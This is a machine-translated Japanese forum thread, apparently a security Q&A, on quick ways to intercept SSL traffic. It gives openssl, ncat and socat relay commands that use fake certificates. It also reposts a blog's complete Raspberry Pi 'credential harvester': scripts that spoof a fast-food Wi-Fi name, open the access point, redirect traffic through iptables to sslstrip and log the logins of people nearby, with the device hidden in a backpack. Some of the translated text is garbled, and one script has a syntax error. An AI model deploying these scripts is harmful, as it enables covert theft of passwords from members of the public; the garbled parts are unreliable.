クライアントとサーバーの間のSSL接続に対して中間者攻撃を実行したいのですが。
次のように仮定します。
ポートをリッスンし、証明書を提供してSSLを開始するコードを記述してから、透過的なプロキシとして転送し、ARPスプーフィングを行ってトラフィックを私にリダイレクトすることができますが、これは多くの労力を要し、作業中に面倒になります時間の制約が厳しいテストで。
中間者攻撃を実行するための迅速で簡単な方法は何ですか?多くの設定をせずに、これを簡単に行うために設計されたツールはありますか?積極的に維持されているものはプラスです。
更新:
HTTPの場合、 Burp Suiteのプロキシ (Java)、または mitmproxy を使用できます。
tcpcatcher は、より一般的なJavaベースのGUIキャプチャおよび変更プロキシであり、要件に近い可能性があり、コンテンツのデコードおよび変更(手動およびプログラムによる)を含みます)。 HTTPバイアスですが、任意のTCPを受け入れます。 SSLサポートがありますが、唯一の欠点は、独自の固有の証明書をオンザフライでのみ使用する(文書化された)方法がないことです。以下のオプションの1つを使用して簡単に回避できます。
迅速でローテクでプロトコルにとらわれないようにしたい場合は、UnixボックスでOpenSSLを使用するだけでmostの方法を得ることができます。
mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
-accept 443 -cert fake.crt -key fake.key < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request | tee -a response
-quiet
は-ign_eof
も有効にします。これにより、行頭での文字の特別な処理が抑制されます(ラインバッファリング入力の場合)。 s_client
は、基本的なSTARTTLS機能もサポートしています:SMTP、POP3、IMAP、FTP(認証)、XMPP、およびTELNET(OpenSSL-1.1から)。
各openssl
を別の端末で開始します。 tee
を、要求を変更し、必要に応じて応答するようにスクリプト化されたものに置き換えます。最も堅牢ではありませんが、役に立つかもしれません。 DTLSをサポートします。必要な場合、IPv6のサポートにはOpenSSL-1.1が必要です。 ( GnuTLS はIPv6をサポートしており、v3.0もDTLSをサポートしているので、gnutls-serv
とgnutls-cli
を使用してほぼ同様のことができるため、まだ試していません。 。)
ncat
と-exec
オプションを併用しても機能するはずです。
ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
--sh-exec "openssl s_client -quiet -connect www.server.com:443" \
-kl 127.0.0.1 4443
"--exec
"を使用して、代わりにスクリプトで独自のクライアントをラップすることができます。 s_client
を使用すると、セッションファイルを事前に作成し、-sess_in ssl.sess -sess_out ssl.sess
を呼び出しに追加することで、パフォーマンスが大幅に向上します。
繰り返しになりますが、MITMを自分でスクリプト化/コード化する必要がある場合、 socat
は別の優れた(そしておそらく最も堅牢な)オプションです。
CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \
OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork \
EXEC:mitm.sh
openssl s_client -quiet -connect www.server.com:443
のmitm.sh
のようなワンライナーは、最初はinetd
クライアントのように機能します。
stunnel はsocatよりプロキシに似ており、私にはないbig利点があります他の場所を参照してください:POP3、IMAP、SMTP、およびクライアントモードとサーバーモードの他のいくつかについて、プロトコル内TLSアップグレード/ [〜#〜] starttls [〜#〜] をサポートしています。 LDAPとFTPは注目に値する省略です(後者は当然です)。そのinetdモードは、上記の "exec"オプションと同じように(ab)使用できます。
これらのメソッドを使用するmodifying一般的なテキストベースの一般的なインターネットプロトコルの場合、sed
を使用して回避できる場合があります(より接続しやすい netsed など)または軽いexpect
スクリプト。
マルチプロトコルプロキシ Delegate は、外部(inetdのような)処理もサポートし、 統合スクリプト マッチング、フィルタリングをサポートしますサポートされているプロトコルのサブセットの書き換え。
一般的なプロトコルにとらわれないMITMプロキシに近いと私が考えることができる他の唯一のものは、 proxyfuzz
のようなファジングツール、または backfuzz
のようなマルチプロトコルモジュラーツールです(その検索には注意してください)最後の一つ ;-)。
(トラフィックを誤った方向に向けるための)他のおそらく有用なツールは次のとおりです。
また、 Zorp への言及に何度か遭遇し、その間私のノートを調べていました。 非フリー コマーシャル(アフィリエーションはありません) およびGPLバージョン の両方で利用できます。言及に値するのは、(Pythonを介して)モジュール式で拡張可能なマルチプロトコルファイアウォール/ゲートウェイであるという主張のためです。 TLSインスペクションはGPLバージョンでサポートされています(SSHなどは非GPLバージョンに限定されているようです)。
これは 私のブログ からの投稿です。RaspberryPiを使用したMITM攻撃でSSLStripを使用しています。GoogleBloggerが気に入らなかったため、削除する必要があったため、このコンテンツはEvernoteから貼り付けています:)
セキュリティ意識向上デモの一環として、安全なWebサイトからSSLを取り除き、ログイン詳細を取得するように3g PiワイヤレスAPをセットアップしました。 MITM攻撃のコンテキストではこれに精通しているかもしれませんが、Piはゲートウェイであるため、ネットワークをARPポイズニングする必要はなく、全体が少し速く実行されます。私は誰かが無料のインターネットを提供するワイヤレスAPをセットアップするのがどれほど簡単かを示したいと思いました。機器は隠しているので(おそらくバックパックに入れて)、公共の場所に座って、誰も何も疑わずにログインの詳細を取得します*。将来的には、バッテリーバンクからPiを実行しながらこれを実行したいと考えています。
スクリプトの説明は次のとおりです。
メニュー
このスクリプトは、認証情報ハーベスタースクリプトを使用するためのシンプルなメニューです。 Jeroen Doggenのブログからコピーされ、それに合わせて編集されています。ハイライトされた部分は、スクリプトを含むディレクトリに変更する必要があります。
menu.sh
#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "
read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;
esac
done
SSIDを変更する
Piクレデンシャルハーベスタが信頼できるように見えるようにするには、現在の環境に合わせて、SSID(利用可能なネットワークをスキャンするときに全員に表示される名前)を変更できる必要があります。マクドナルドに座っていますか? SSIDを「McDonalds Free Customer Wifi」またはそのようなものに変更します。
Piクレデンシャルハーベスタがヘッドレスであることを考えると、これを行う最も簡単な方法は、Wifi経由でSSHで接続し、簡単なスクリプトを実行することです。
スクリプトはSedコマンドを使用します。Sedのマニュアルページから:Sedはストリームエディタです。Aストリームエディターは、入力ストリーム(ファイルまたはパイプラインからの入力)に対して基本的なテキスト変換を実行するために使用されます。
したがって、Sedを使用してhostapd.confファイルのSSID名のエントリを置き換えることができるはずです。 manページでは、「-i」フラグがインライン変更に使用されると指定されています。そのため、ファイルの別のコピーを作成しないライブ変更です。 SSIDを置き換えるには、完全なコマンド構文は次のようになります。
sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE
検索と置換文字列の最初と最後の「s」と「g」は、実行する検索と置換のタイプを定義しますこの例ではWifiです。 FILEは/etc/hostapd.confファイルで、次のコマンドを提供します。
sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf
変更を適用するには、hostapdサービスを再起動する必要があります。
Sudo service hostapd restart
私が思いついた最後のスクリプトは、現在のSSIDの名前を取得して表示し、ユーザーに目的のSSIDを入力するように求めます。これはhostapd.confのインライン編集を実行する「sed」に渡され、サービスを再起動して変更を適用します。
changeSsid.sh
#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name
echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
Sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
Sudo service hostapd restart
ネットワークをオープンにする
makeOpen.sh
このスクリプトは、「sed」を使用してhostapd.confの行をコメント化し、WPAセキュリティを有効にします。これにより、APが開かれ、誰でもそれを実行できます。変更を有効にするためにhostapdサービスが再起動されます。
#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
Sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart
SSLStripを実行する
sslStrip.sh
このスクリプトはSSLStripを実行します。これは、安全なWebサイトからのSSL保護を「偽装」し、ログイン資格情報をプレーンテキストで読み取ることができるようにします。詳細については、SSLStrip Webサイトを参照してください。
#!/bin/bash
echo "Editing Iptables and starting sslstrip"
Sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &
SSLStripを閉じる
このスクリプトは、ルーティングルールをiptablesから削除し、通常のブラウジングを再び可能にします。また、sslstripプロセスも強制終了します。
tidySslStrip.sh
#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
Sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo killall sslstrip
ネットワークを安全にする
このスクリプトは「sed」を使用してhostapd.confのwpa行を再度有効にし、APを再び安全にします。
makeSecure.sh
#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
Sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart
これらを手動でスクリプトにコピーして貼り付ける場合は、次のコマンドを使用して実行可能にしてください。
Sudo chmod +x SCRIPT_NAME
資格情報の表示
このスクリプトはSSLStripログファイルを開くだけなので、ユーザー名とパスワードを検索できます。ファイルには多くのゴミがありますが、それらはそこにあります。
#!/bin/bash
Sudo nano /home/pi/cred_harv/ssl.log
SSLStrip は、テストの設定やMITMのデモにおそらく役立つでしょう。そのa pythonツールを使用して、arpスプーフィングでMiTMを設定できます。リダイレクトをhttpからhttpsに変換できます。また、証明書とともに使用するように設定して、被害者がssl経由であなたに接続し、最初の目的地に接続します。MoxieMarlinspikeのページに、その使用方法のいくつかをデモするビデオがあります。
Perl IO :: Socket :: SSL :: Intercept は、上記の役立つ提案に加えられた注目すべき追加機能です。
PolarProxyは、HTTPやHTTP/2などの復号化されたTLSトラフィックでPCAPファイルを作成できます。 FTPS/IMAPS/SMTPSなどを復号化するように設定することもできます。
免責事項:PolarProxyは、Netresecで開発および保守されている無料のツールです。